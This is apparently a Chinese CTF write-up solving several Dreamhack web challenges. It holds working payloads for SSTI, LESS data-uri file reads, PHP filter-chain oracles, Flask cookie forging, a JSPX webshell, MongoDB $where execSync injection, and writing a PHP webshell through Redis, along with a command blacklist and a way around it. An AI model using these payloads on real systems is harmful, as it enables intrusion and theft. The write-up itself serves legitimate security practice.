靶机内部有几个已经存在的文件:

manual.txt

1
2
Because of a file upload attack, that feature will not be available for the time being.
However, important process are still running in the background.

stolen_1.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# blacklist.txt
?
!
"
'
&
(
)
*
,
-
.
:
;
<
=
>
@
[
]
^
$
%
~
7z
dd
ag
apk
apt
awk
base64
bash
bin
bzip2
cd
chmod
chown
cp
cron
curl
cut
dev
dig
dir
disown
docker
echo
env
eval
exec
export
file
find
flag
fl
get
grep
gunzip
gzip
head
hexdump
host
ifconfig
ip
kill
kubectl
ln
ls
mkdir
mv
nc
ncat
netcat
netstat
node
nohup
nmap
nslookup
od
onestar
perl
php
ping
pip
pip3
podman
popen
printenv
printf
ps
pwd
python
read
readlink
reboot
realpath
rm
rmdir
route
scp
sed
set
sftp
sh
shutdown
sleep
socat
sort
ss
stat
strings
system
tar
tcp
tcpdump
tee
timeout
top
touch
tr
traceroute
txt
uniq
unset
unzip
uptime
wget
xargs
xxd
xz
zip

stolen_2.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
package com.example.upload;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.struts2.ServletActionContext;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class CheckAction extends ActionSupport {
private List<String> allFiles;
private List<String> shFiles;
private List<String> shResults;
private String message;
private boolean run;

public String execute() {
javax.servlet.http.HttpServletResponse resp = org.apache.struts2.ServletActionContext.getResponse();
if (resp != null) {
resp.setHeader("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0");
resp.setHeader("Pragma", "no-cache");
resp.setDateHeader("Expires", 0);
}
javax.servlet.http.HttpServletRequest req = org.apache.struts2.ServletActionContext.getRequest();
if (req != null && !"POST".equalsIgnoreCase(req.getMethod())) {
this.run = false;
}

String rootPath = ServletActionContext.getServletContext().getRealPath("/");
File root = new File(rootPath);

List<String> all = new ArrayList<>();
List<File> sh = new ArrayList<>();
walk(root, root, all, sh);
Collections.sort(all, String.CASE_INSENSITIVE_ORDER);
this.allFiles = all;

List<String> shNames = new ArrayList<>();
for (File f : sh) shNames.add(toRel(root, f));
Collections.sort(shNames, String.CASE_INSENSITIVE_ORDER);
this.shFiles = shNames;

this.shResults = new ArrayList<>();

if (run) {
File sec = new File(root, "security_check.sh");
if (sec.exists() && sec.isFile()) {
try {
ScriptResult r = runScript(sec, true);
shResults.add(sec.getName() + " → exit code: " + r.exitCode +
"\nOutput:\n" + r.output.trim());

boolean ok = r.output.toLowerCase().contains("nice");

if (ok) {
File baseDir = sec.getParentFile() != null ? sec.getParentFile() : root;
List<File> others = listShInDir(baseDir, "security_check.sh");

for (File f : others) {
try {
ScriptResult or = runScript(f, false);
shResults.add(f.getName() + " → exit code: " + or.exitCode +
"\nOutput:\n" + or.output.trim());
} catch (Exception e) {
shResults.add(f.getName() + " → execution failed: " + e.getMessage());
}
}

for (File f : others) {
if (f.exists() && f.isFile()) {
if (!f.delete()) {
try { f.setWritable(true, false); } catch (Throwable ignored) {}
f.delete();
}
}
}
}
} catch (Exception e) {
shResults.add("security_check.sh → execution failed: " + e.getMessage());
}
} else {
shResults.add("security_check.sh not found");
}

List<String> all2 = new ArrayList<>();
List<File> sh2 = new ArrayList<>();
walk(root, root, all2, sh2);
Collections.sort(all2, String.CASE_INSENSITIVE_ORDER);
this.allFiles = all2;

this.message = "File check Done!";
} else {
this.message = "Press the button to run integrity check.";
}
return SUCCESS;
}

private void walk(File base, File dir, List<String> all, List<File> sh) {
File[] list = dir.listFiles();
if (list == null) return;
for (File f : list) {
if (f.isDirectory()) {
walk(base, f, all, sh);
} else {
String rel = toRel(base, f);
all.add(rel);
if (f.getName().toLowerCase().endsWith(".sh")) sh.add(f);
}
}
}

private String toRel(File base, File f) {
String bp = base.getAbsolutePath();
String fp = f.getAbsolutePath();
if (!bp.endsWith(File.separator)) bp = bp + File.separator;
return fp.startsWith(bp) ? fp.substring(bp.length()) : f.getName();
}

private List<File> listShInDir(File dir, String excludeName) {
List<File> out = new ArrayList<>();
File[] arr = dir.listFiles();
if (arr == null) return out;
for (File f : arr) {
if (f.isFile() && f.getName().toLowerCase().endsWith(".sh")) {
if (excludeName != null && f.getName().equalsIgnoreCase(excludeName)) continue;
out.add(f);
}
}
return out;
}

private ScriptResult runScript(File script, boolean isSecurityCheck) throws IOException, InterruptedException {
String nm = script.getName();
if (isSecurityCheck) {
if (nm == null || !nm.toLowerCase().contains("security_check")) {
return new ScriptResult(1, "Backdoor Detected!");
}
} else {
if (nm == null || !nm.toLowerCase().endsWith(".sh")) {
return new ScriptResult(1, "Backdoor Detected!");
}
}

ProcessBuilder pb = new ProcessBuilder("/bin/bash", script.getAbsolutePath());
pb.directory(script.getParentFile());
pb.redirectErrorStream(true);
Process p = pb.start();

StringBuilder out = new StringBuilder();
try (BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), StandardCharsets.UTF_8))) {
String line;
while ((line = br.readLine()) != null) out.append(line).append("\n");
}
int code = p.waitFor();
return new ScriptResult(code, out.toString());
}

private static class ScriptResult {
int exitCode;
String output;
ScriptResult(int c, String o){ this.exitCode = c; this.output = o; }
}

public void setRun(boolean run) { this.run = run; }
public boolean isRun() { return run; }
public List<String> getAllFiles() { return allFiles; }
public List<String> getShFiles() { return shFiles; }
public List<String> getShResults() { return shResults; }
public String getMessage() { return message; }
}

还有一个File Integrity Check,会检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
blacklist.txt
browse.jsp
check.jsp
flag.txt
index.jsp
META-INF/MANIFEST.MF
META-INF/maven/com.example/upload/pom.properties
META-INF/maven/com.example/upload/pom.xml
META-INF/war-tracker
nohack.jsp
nohere.jsp
notfound.jsp
ROOT/index.html
ROOT/nohack.jsp
ROOT/web.xml
security_check.sh
success.jsp
uploads/manual.txt
uploads/stolen_1.txt
uploads/stolen_2.txt
view.jsp
WEB-INF/blacklist.txt
WEB-INF/classes/com/example/upload/BlacklistFilter.class
WEB-INF/classes/com/example/upload/CheckAction$ScriptResult.class
WEB-INF/classes/com/example/upload/CheckAction.class
WEB-INF/classes/com/example/upload/DotSegmentsGuardFilter.class
WEB-INF/classes/com/example/upload/ListUploadsAction.class
WEB-INF/classes/com/example/upload/PrettyUrlFilter.class
WEB-INF/classes/com/example/upload/UploadAction.class
WEB-INF/classes/com/example/upload/UploadsInterceptFilter.class
WEB-INF/classes/com/example/upload/ViewFileAction.class
WEB-INF/classes/struts.xml
WEB-INF/lib/commons-fileupload-1.4.jar
WEB-INF/lib/commons-io-2.11.0.jar
WEB-INF/lib/commons-lang3-3.8.1.jar
WEB-INF/lib/freemarker-2.3.31.jar
WEB-INF/lib/javassist-3.20.0-GA.jar
WEB-INF/lib/log4j-api-2.12.4.jar
WEB-INF/lib/ognl-3.1.29.jar
WEB-INF/lib/struts2-core-2.5.30.jar
WEB-INF/web.xml

默认输出是:

1
2
3
4
5
security_check.sh → exit code: 0
Output:
Security Check Done!
Checked .sh: 0
nice

布豪,是Java。Java面前一条曲。

吃力审计一下,如果 security_check.sh 输出包含 “nice”,它会扫描目录下所有的 .sh 文件并执行。

1
if (f.isFile() && f.getName().toLowerCase().endsWith(".sh"))

检查黑名单,发现 tac、tail、more、nl 没有被禁用。反斜杠\没有被禁用,可以转义特殊字符绕过waf。

发现存在 Log4J2 漏洞(CVE-2021-44228),不对,已经修了

我感觉就是 Struts2 CVE-2024-53677 啊,传一个:

1
tac /f\l\a\g\.\t\x\t

然后点一下check。

go run . -url http://host3.dreamhack.games:23581/upload-1.0.0/ -end-point upload.action

CVE-2023-50164 也不行啊😭

CVE-2017-5638 也不行啊😭

输了

Mini Memo

A small and cute memo (❁ ‘`❁)

1
2
USER_DATABASE = 'data/users.db'
MEMO_DATABASE = 'memos.db'

fuzz了一下,memo本身没法ssti。

1
2
3
4
5
6
7
if len(username) > 10:
flash('Username must be 10 characters or less!')
return render_template('register.html')

if len(password) > 10:
flash('Password must be 10 characters or less!')
return render_template('register.html')

然后就看到很奇怪的,说是用户名和密码要小于等于10字符,这就很可疑啊。接着审计,发现SQL部分都是用了占位符,排除注入可能。

1
2
3
4
5
6
template_path = f"data/templates/{template}"

if template.startswith("/") or template.startswith("../"):
template_path = f"data/templates/default"

template_path = os.path.normpath(template_path)

审计到这里。这里对传入的template做了简单的过滤,不能以/../开头,但这根本没用啊。比如我传入templates/../../users.db,通过检测,拼接完是data/templates/templates/../../users.dbos.path.normpath一下就变成data/users.db

结合前面提到的用户名密码的长度限制,注意到,用户名会直接写入data/users.db,同时可以把data/users.db作为模板,那么用户名就是SSTI的锚点。因为长度有限,那么就使用 {{ config }},先进行信息收集。注册一个用户名是{{ config }}的账号,然后burp改一下template参数,payload如下:

1
title=AA&content=BB&template=templates/../../users.db

flag1

访问新建的memo,获得SECRET_KEY(也是flag的前半段):

1
FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e

使用Flask-Unsign伪造token

1
2
3
4
5
6
7
flask-unsign --decode --cookie '.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWhhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu0sRpg.aYS8eg.PReu47xIFS8YkpbVnDC8OLSiB-k'

# {'role': 'user', 'user_id': 1, 'username': '{{config}}'}

flask-unsign --sign --cookie "{'role': 'admin', 'user_id': 1, 'username': 'admin'}" --secret 'FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e'

# .eJyrVirKz0lVslJKTMnNzFPSUSotTi2Kz0xRsjKEsPMScxHStQBzLw-T.aYS-hA.aPwQWjLExmfq-tguYu8D9DzEOa0

访问/flag,获得后半段:

1
FLAG2:0d2768542a3019bc94b34829f8995f98}

flag2
所以完整flag是:

1
DH{85bbcce15adac36a5682ae6fce4cec7e0d2768542a3019bc94b34829f8995f98}

LESSer Cat

Description

We have released Lesser Cat, which has reduced all features other than cat-related functions!

Use the unique ColorPicker feature to change the cat’s wallpaper color!

※ The rest of the features are under development…

审计

题目提示,LESS模板注入。

发现POST /reset_mail,会写入一个带有重置密码需要的Key的文件./mail.log。目标就是泄露这个文件,重置密码,以admin权限登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function colorPicker(colorDict){

var css = "";

for (var key in colorDict){

try{

if(!colorDict[key].match(/^#[\w\d]{6}$/)) return false;

}
catch(error){
// console.log(error)
}

css += `@${key}:` + colorDict[key] + ";";

}

css = css + "body{ background-color: @bgcolor; color: @color; }";

return css;
}

可以看到,虽然使用了/^#[\w\d]{6}$/这个正则对传入数据做了检验,但是catch块并没有阻止逻辑继续。如果try内报错,就不会return false,而是继续执行css += `@${key}:` + colorDict[key] + ";";。注意到,JS的数组并没有.match方法,这里是会爆TypeError的。

此外,JavaScript 是弱类型的,当数组与字符串相加时,数组会自动调用 .toString(),如果这里传入

1
['#fff; .leak { content: data-uri("mail.log"); }']

拼接结果就是

1
@bgcolor:#fff; .leak { content: data-uri("mail.log"); };

data-url
这里的data-uri函数会读取文件并且以URl安全的形式储存,当请求它时,就会读取文件。<文档链接>

Payload:

1
bgColor[]=#ffffff; .leak { content: data-uri("mail.log"); }&fontColor=#000000

先申请重置密码,没有提供前端,直接用 curl 发吧:

1
curl -X POST http://127.0.0.1:3000/reset_mail

执行注入:

1
2
3
curl -X POST http://127.0.0.1:3000/color \
-d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \
-d "fontColor=%23000000"

访问/image.css
leak

1
2
3
4
5
6
7
.leak {
content: url("data:text/plain,fb21ebd8354818399fcd9a3f6781bbcf");
}
body {
background-color: #ffffff;
color: #000000;
}

local
获得重置密码需要的key。请求/pass_reset重置密码:

1
2
curl -X POST http://127.0.0.1:3000/pass_reset \
-d "password=111&key=fb21ebd8354818399fcd9a3f6781bbcf"

登录:

1
2
3
4
curl -X POST http://127.0.0.1:3000/login \
-d "username=admin&password=111"

# flag{fake_flag}

Remote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜  ~ curl -X POST http://host3.dreamhack.games:9891/reset_mail
Reset Mail Send.%

➜ ~ curl -X POST http://host3.dreamhack.games:9891/color \
-d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \
-d "fontColor=%23000000"
ColorPicker Done%

➜ ~ curl http://host3.dreamhack.games:9891/image.css
.leak {
content: url("data:text/plain,5bd6ae8c9a0a07f5d50a7113f7a9e1ab");
}
body {
background-color: #ffffff;
color: #000000;
}

➜ ~ curl -X POST http://host3.dreamhack.games:9891/pass_reset \
-d "password=111&key=5bd6ae8c9a0a07f5d50a7113f7a9e1ab"
Reset Done%

➜ ~ curl -X POST http://host3.dreamhack.games:9891/login \
-d "username=admin&password=111"
flag{LESSerCat_with_LESSJS_SSTI!}%

flag

看别人的WP,发现

1
@import (inline) "mail.log";

也是可以的。算是报错回显吧。

也有的思路是通过@plugin引用外部js,不过机器是不出网的。

jukebox

Browse musics…

这题的考点是PHP filter chains: file read from error-based oracle,需要用到这个工具。确实没遇到过这样的考oracle预言机的题目,这个知识点也是第一次知道。

其实附件刚下载完打开,本地部署的时候就看见docker-compose.yml里的restart: unless-stopped,我当时以为这可能是某个比赛的原题,需要保证稳定。但其实如果有敏感性,这个就能看出考点了。泄露文件的核心在于要让php奔溃,返回Fatal error

这题我能审计到的,就是绕过协议头检查:

1
2
curl -v -X POST http://127.0.0.1:54321/ \
-d "song_url=php://filter/var=https://google.com/resource=file:///flag.txt"

这样可以直接读取文件,不过waf会检查flag头,也就是DH,如果输出包含它,就会报错Suspicious output!。接下来就是php://filter神奇的地方。

PHP 的过滤器(如 iconv 字符集转换)在处理特定字符时,会有不同的行为,也就是说,反应上的不同本身就可以构成侧信道。通过组合极长的过滤器链(比如几千个 convert.iconv… 的组合),可以让数据在转换过程中发生变化。

这个工具使用了一种特定的链条组合,使得:

1
2
3
如果文件的第 N 个字符是 'A',经过这几千次转换后,数据流会指数级膨胀,导致PHP OOM崩溃。
如果文件的第 N 个字符不是 'A',数据流就不会膨胀,或者膨胀得很小,PHP 能正常执行完。
...

其实原理上很像SQL的time-based blind injection,但是sql可以用benchmark或者求笛卡尔积等等方法,php里通过php://filter本身处理的差异这实在太高级了。而且这几乎没法防御吧,这个延迟本身甚至都不是因为逻辑上的分支导致的,除非说加一道waf,数据过长直接阻断。没有很完美的修复手段。

一开始match没设置对,导致fallback到了基于报错时间的攻击,非常之不准啊,要跑相当多次才能确认。
time_based

解题流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
cd php_filter_chains_oracle_exploit

python3 filters_chain_oracle_exploit.py \
--target http://host3.dreamhack.games:11404/ \
--parameter song_url \
--file "php://filter/var=https://google.com/resource=file:///flag.txt" \
--verb POST \
--match "Fatal error"

[*] The following URL is targeted : http://host3.dreamhack.games:11404/
[*] The following local file is leaked : php://filter/var=https://google.com/resource=file:///flag.txt
[*] Running POST requests
[*] The following pattern will be matched for the oracle : Fatal error
[+] File php://filter/var=https://google.com/resource=file:///flag.txt leak is finished!
REh7UEhQX0xGMV9DNE5fRDBfNE5ZVEgxTkc6NkU0WldyVXA0bTFXa28vOUxxdkVTZz09
b'DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg=='

flag
本地测试,最后一位是跑不出来的,但也就是右大括号。所以flag:

1
DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg==}

az
这是LFI吗?好像是的吧。。。?

Fruit Market

注册一个用户,把nickname设置为${env:ADMIN_PASSWORD},登录后,顶部问候语句会泄露Admin的密码,本地靶机是ivtMytf4eStS5bis

分析源码可知,admin的userid是容器启动时随机生成的,admin_${???},这个直接爆破一下也没多少,但其实用处不大?直接看docker日志就可以看到。

1
market-app  | 2026-02-06T13:14:38.443Z  WARN 1 --- [fms] [           main] com.ctf.fms.InsertAdminRunner            : Seeded admin account -> userid='admin_9xh' password='ivtMytf4eStS5bis'

这里我一开始是考虑使用:

1
${file:UTF-8:/proc/1/fd/1}

这个payload作为nickname来泄露启动日志,但是这个东西非常大,而且一直源源不断地涌出,直接把靶机搞崩溃了,这肯定不行啊。所以我感觉还是爆破为主,很快的。

发现有两个上传接口,只有一个实际可控。看到过滤了jsp,但是依然可以上传jspx,传个马试试看:

1
2
3
curl -X POST -H "Cookie: session=.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWxhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu38RqA.aYS77Q.tqgYbR9eoa9-8UbDAMhmnDkTs7Y; JSESSIONID=F42D0BF29649EB5933B8EB61D107C660" -F "file=@shell.jspx" http://127.0.0.1:8001/admin/upload

{"path":"/uploads/1770383849121_shell.jspx"}

确实可以,不过注意到题目自带了一个马,那么自然也是能用的,不过加载不了蚁剑的payload。

1
http://127.0.0.1:8001/uploads/shell.jsp?cmd=id

curl “http://resource:3000/api/_resource/test?view%5Bmatch%5D%5B%5C$where%5D=this.name==new%2520Date(process.mainModule.require('child_process').execSync('/flag').toString())”

curl “http://resource:3000/api/_resource/test?view%5Bpath%5D=nutritionProfile&view%5Bmatch%5D%5B%5C$or%5D%5B0%5D%5B%5C$where%5D=throw%2520new%2520Error(process.mainModule.require('child_process').execSync('/flag').toString())”

没招了,搞了几个小时了😭。这题需要从market-app容器横向打到resource容器,利用mongo容器😵但这resource怎么一打就挂了。。。

phpythonode

Description

1
2
3
It is a server that runs three services: php (php-1), python (ssrf), and node (node_api).
/readflag Run the binary.
This issue is for experienced web hackers.

I’m not a experienced web hacker qwq.

附件不完整,只有部分代码,这。。。感觉vm credit又不保。。。

Host: host3.dreamhack.games
Port: 16484/tcp → 8000/tcp 10539/tcp → 3000/tcp
For Pwnable Challenges: nc host3.dreamhack.games 16484
For Web Hacking Challenges: http://host3.dreamhack.games:16484/
For Pwnable Challenges: nc host3.dreamhack.games 10539
For Web Hacking Challenges: http://host3.dreamhack.games:10539/

好大一题

获取 Python Flag

1
2
3
4
5
6
7
8
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'

local_host = '127.0.0.1'
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer((local_host, local_port), http.server.SimpleHTTPRequestHandler)

这没啥好说的,就去ssrf爆破一下端口,读http://127.0.0.1:{port}/flag.txt就好了,有点慢,先看PHP部分。
ssrf_flag
出来了:

1
This is ssrf flag

获取 PHP Flag

在 php/index.php 中存在 LFI:

1
include $_GET['page']?$_GET['page'].'.php':'main.php';

在 php/view.php 中虽然可以查看文件,但过滤了 “flag” 关键字:

1
2
3
4
5
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);

ssrf
使用Python的ssrf:

1
http://127.0.0.1:80/?page=php://filter/convert.base64-encode/resource=../uploads/flag

php_flag
解base64再解base64可以获得php部分的flag:

1
2
3
4
<?php
$flag = 'This is php-1 flag';
?>
can you see $flag?

获取 Node.js Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
app.get('/show_logs', function(req, res) {
// var log_query=get/log_info
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// Todo
// Error(403);
}
try {
redis_client.send_command(log_query[0], log_query[1], function(err, result) {
if (err) {
res.send('ERR');
} else {
res.send(result);
}
})
} catch (err) {
res.send('try /show_logs?log_query=get/log_info')
}
});

又是catch错误没有处理,这周遇到两题了,不过那题是go,但也是数组报错。如果传入数组,log_query = log_query.split('/');就直接报错了,跳过if那里的关键词检测,到了catch,又没有抛出异常,导致这个log_query被send_command了。

先访问一下http://host3.dreamhack.games:10539/拿个cookie:

1
session=.eJyrVirKz0lVslJKTMnNzFPSUSotTi2Kz0xRsjKEsPMScxHStQBzLw-T.aYS-hA.aPwQWjLExmfq-tguYu8D9DzEOa0; connect.sid=s%3AdxEGksUKJsHSPX73ruHiJzWVtsv9Vsit.2Hd7YP9Bi%2FmJuZ8XRDxzmPbTB3kL95hYY8fQjwpNtUk

这里的Session ID就是dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit

我们需要将 Session 数据设置为:

1
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

get_admin
payload就是:

1
GET /show_logs?log_query[0]=set&log_query[1][0]=sess:dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

node_flag
返回OK,然后请求/flag,拿到flag:

1
This is node_api flag

RCE

不过以上的flag都没用啊,最终的flag是需要RCE执行/readflag的。然后靶机内部还有一个redis,估计是需要利用redis写php马。

先设置redis目录,最保险的就是/tmp了,不会有权限问题:

1
/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp

设置文件名:

1
/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=shell.php

写文件:

1
/show_logs?log_query[0]=set&log_query[1][0]=myshell&log_query[1][1]=<?php system($_GET['cmd']); ?>

保存:

1
/show_logs?log_query[0]=save

index.php会自动拼接.php,所以只需要引用shell就可以了,通过Python的ssrf对php操一个LFI的作:

1
http://127.0.0.1:80/?page=../../../../tmp/shell&cmd=/readflag

rce
OK图片base64丢厨子,拿到flag:

1
DH{d7e17d0a5c5f4886c33ded622bec0df5}

flag

复盘

我感觉这题出得蛮好,三个服务三个fake flag引导你一步一步渗透内网,不然真的没啥头绪,一上来要想到 node命令执行操作redis写马用python的ssrf对php进行lfi实现rce,挺难的,但是给了一个铺垫就很有意思了,考的知识点是很清晰的。难度主要在node的那个payload构造,其他都是固定操作。

附件不给完整题目得喷,得看着Dockerfile和docker-entrypoint.sh推测靶机样子

dreamschool

Description

dreamschool, a school community for all schools around the world

Hello! I am DreamSchool, which manages a community for all schools from elementary school to university 💙

I heard that something strange is happening on Dream University’s secret bulletin board, but the board is locked, so I can’t even see it as an administrator 😢

Be sure to find out what’s happening at Dream University!

审计&解题

先看Dockerfile,有一句非常奇怪

1
RUN sed -i.bak '143,146d' /usr/local/lib/python3.9/site-packages/jwt/algorithms.py

那么自然要去检查一下requirements.txt的PyJWT是什么版本,好的,是PyJWT==1.7.1,那么大概率要考JWT伪造了。

观察error.py,学校名称存在SSTI。注册一个学校名为{{ config }}的账户,登陆后触发404,泄漏:
ssti

1
/s/&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: b&#39;\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;AUTH_PUBLIC_KEY&#39;: b&#39;-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----&#39;, &#39;FLAG_SCHOOL&#39;: &#39;드림대학교&#39;, &#39;SQLALCHEMY_DATABASE_URI&#39;: &#39;sqlite:////app/database.db&#39;, &#39;TIMEZONE&#39;: &#39;Asia/Seoul&#39;}&gt;'>&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: b&#39;\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;AUTH_PUBLIC_KEY&#39;: b&#39;-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----&#39;, &#39;FLAG_SCHOOL&#39;: &#39;드림대학교&#39;, &#39;SQLALCHEMY_DATABASE_URI&#39;: &#39;sqlite:////app/database.db&#39;, &#39;TIMEZONE&#39;: &#39;Asia/Seoul&#39;}&gt;(으)로</a>

一大坨,只需要关注AUTH_PUBLIC_KEY就可以了:

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL
UnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh
nAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE
RSYxWVbDY59Ukb25XwIDAQAB
